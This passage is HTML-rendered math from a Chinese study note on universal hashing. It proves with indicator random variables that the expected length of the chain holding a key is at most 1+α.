style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord">/</span><span class="mord mathnormal">m</span></span></span></span>。如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 在表中，则包含 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 的链表的期望长度 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo stretchy="false">[</mo><msub><mi>n</mi><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">E[n_{h(k)}]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1052em;vertical-align:-0.3552em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.5198em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3552em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span> 至多为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>+</mo><mi>α</mi></mrow><annotation encoding="application/x-tex">1 + \alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span></p><blockquote><p>指示器随机变量指的是符合条件则为 1，否则为 0</p></blockquote><p>证明：对于不同的键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>l</mi></mrow><annotation encoding="application/x-tex">l</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span></span>，定义指示器随机变量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>X</mi><mi>k</mi></msub><mi>l</mi><mo>=</mo><mi>I</mi><mo stretchy="false">{</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>l</mi><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">X_kl = I\{ h(k) = h(l)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">{</span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)}</span></span></span></span>。由于上文关于全域散列函数的定义有一对键发生冲突的概率至多为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">1 / m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mord mathnormal">m</span></span></span></span>，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>r</mi><mo stretchy="false">{</mo><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>l</mi><mo stretchy="false">)</mo><mo stretchy="false">}</mo><mo>≤</mo><mn>1</mn><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">Pr \{ h(k) = h(l)\} \le 1 / m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">{</span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mord mathnormal">m</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>E</mi><mo stretchy="false">[</mo><msub><mi>X</mi><mi>k</mi></msub><mi>l</mi><mo stretchy="false">]</mo><mo>≤</mo><mn>1</mn><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">E[X_kl] \le 1/m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mord mathnormal">m</span></span></span></span>。</p><p>定义 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Y</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex">Y_k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 为与键 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 在相同槽位的其他键的数量。</p><p>那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>Y</mi><mi>k</mi></msub><mo>=</mo><msub><mo>∑</mo><mrow><mi>l</mi><mo>∈</mo><mi>T</mi><mo separator="true">,</mo><mi>l</mi><mo mathvariant="normal">≠</mo><mi>k</mi></mrow></msub><msub><mi>X</mi><mi>k</mi></msub><mi>l</mi></mrow><annotation encoding="application/x-tex">Y_k = \sum_{l \in T, l \ne k} X_kl</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1858em;vertical-align:-0.4358em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1864em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mrel mtight">∈</span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mrel mtight"><span class="mrel mtight"><span class="mord vbox mtight"><span class="thinbox mtight"><span class="rlap mtight"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord mtight"><span class="mrel mtight"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel mtight">=</span></span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4358em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span></span></p><p>可得 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>E</mi><mo stretchy="false">[</mo><msub><mi>Y</mi><mi>k</mi></msub><mo stretchy="false">]</mo><mo>=</mo><mi>E</mi><mo stretchy="false">[</mo><munder><mo>∑</mo><mrow><mi>l</mi><mo>∈</mo><mi>T</mi><mo separator="true">,</mo><mi>l</mi><mo mathvariant="normal">≠</mo><mi>k</mi></mrow></munder><msub><mi>X</mi><mi>k</mi></msub><mi>l</mi><mo stretchy="false">]</mo><mo>=</mo><munder><mo>∑</mo><mrow><mi>l</mi><mo>∈</mo><mi>T</mi><mo separator="true">,</mo><mi>l</mi><mo mathvariant="normal">≠</mo><mi>k</mi></mrow></munder><mi>E</mi><mo stretchy="false">[</mo><msub><mi>X</mi><mi>k</mi></msub><mi>l</mi><mo stretchy="false">]</mo><mo>≤</mo><munder><mo>∑</mo><mrow><mi>l</mi><mo>∈</mo><mi>T</mi><mo separator="true">,</mo><mi>l</mi><mo mathvariant="normal">≠</mo><mi>k</mi></mrow></munder><mfrac><mn>1</mn><mi>m</mi></mfrac></mrow><annotation encoding="application/x-tex">E[Y_k] = E[ \sum_{l \in T, l \ne k} X_kl ] = \sum_{l \in T, l \ne k} E[X_kl] \le \sum_{l \in T, l \ne k} \frac{1}{m}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4882em;vertical-align:-1.4382em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.05em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mrel mtight">∈</span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mrel mtight"><span class="mrel mtight"><span class="mord vbox mtight"><span class="thinbox mtight"><span class="rlap mtight"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord mtight"><span class="mrel mtight"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel mtight">=</span></span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4382em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4882em;vertical-align:-1.4382em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.05em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mrel mtight">∈</span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mrel mtight"><span class="mrel mtight"><span class="mord vbox mtight"><span class="thinbox mtight"><span class="rlap mtight"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord mtight"><span class="mrel mtight"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel mtight">=</span></span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4382em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.7597em;vertical-align:-1.4382em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.05em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mrel mtight">∈</span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span><span class="mpunct mtight">,</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mrel mtight"><span class="mrel mtight"><span class="mord vbox mtight"><span class="thinbox mtight"><span class="rlap mtight"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord mtight"><span class="mrel mtight"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel mtight">=</span></span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4382em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p></p><blockquote><p>注意 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 是总键数，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>n</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">n_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 才是链表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi><mo stretchy="false">[</mo><mi>i</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">T[i]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mopen">[</span><span class="mord mathnormal">i</span><span class="mclose">]</span></span></span></span> 的长度</p></blockquote><p>显然符合 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>l</mi><mo>∈</mo><mi>T</mi><mo separator="true">,</mo><mi>l</mi><mo mathvariant="normal">≠</mo><mi>k</mi></mrow><annotation encoding="application/x-tex">l \in T, l \ne k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>l</mi></mrow><annotation encoding="application/x-tex">l</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span></span> 的个数应该为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>（<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 不在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span>）或者 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">n - 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>（<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 已经在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 中）</p><p>按 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 是否已经在表中来讨论：</p><ul><li><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo mathvariant="normal">∉</mo><mi>T</mi></mrow><annotation encoding="application/x-tex">k \notin T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mord"><span class="mrel">∈</span></span><span class="mord vbox"><span class="thinbox"><span class="llap"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="inner"><span class="mord"><span class="mord">/</span><span class="mspace" style="margin-right:0.0556em;"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span>，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>n</mi><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow></msub><mo>=</mo><msub><mi>Y</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex">n_{h(k)} = Y_k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7858em;vertical-align:-0.3552em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.5198em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mclose mtight">)</span></span></span></span></span><span 